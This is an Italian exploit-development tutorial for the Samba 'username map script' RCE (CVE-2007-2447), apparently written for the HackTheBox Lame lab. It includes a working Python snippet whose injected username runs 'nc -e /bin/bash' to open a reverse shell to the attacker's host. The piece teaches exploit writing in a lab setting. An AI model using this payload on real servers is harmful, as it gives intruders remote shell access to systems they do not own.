
Exploit originale: https://www.exploit-db.com/exploits/16320
Nome exploit: Samba username map script RCE
CVE: 2007-2447
Laboratorio: Lame - HackTheBox
C'è una vulnerabilità nelle versioni di Samba precedenti alla 3.0.25 che consente a un attaccante di eseguire comandi di sistema inviando una richiesta malformata come nome utente al server SMB.
Ecco un esempio di utilizzo del comando nohup per creare una directory:

Parlando a livello di programmazione, /= indica l'operatore di divisione e assegnazione, solitamente usato nei cicli. Ma perché dobbiamo usarlo qui?
Il motivo per cui lo usiamo è per dividere il campo dominio e il campo nome utente durante l'invio della richiesta; una spiegazione migliore si può trovare qui.
Usiamo il campo nome utente per aprire una connessione netcat e collegarci al nostro server.
Scrivere l'exploit è molto semplice perché esiste già una libreria client SMB disponibile per Python (installa il pacchetto python3-samba), quindi tutto ciò che devi fare è usarla in questo modo:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
Cerchiamo di capire come funziona SMBConnection: ho fornito username, ma cosa sono le altre 3 stringhe vuote?
Gli altri 3 argomenti sono: password, my_name e remote_name
Per rendere il nostro exploit facile da leggere, possiamo scriverli esplicitamente insieme ai loro valori, ma i valori per gli argomenti dopo username non sono richiesti:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
La parte seguente è più facile da capire: usiamo l'istanza della classe SMBConnection per effettuare una connessione e forniamo l'IP del target, la porta e un timeout in secondi:
conn.connect(rhost, rport, timeout=10)
In questa sessione di sviluppo di exploit hai imparato a creare un client SMB e a connetterti a un server SMB. Hai anche imparato alcuni comandi Linux come nohup, con cui potrai sperimentare in seguito. Hai imparato a collegarti alla tua macchina attaccante dalla macchina vittima usando netcat, una competenza che potrebbe tornarti utile nel tuo percorso di sviluppo exploit.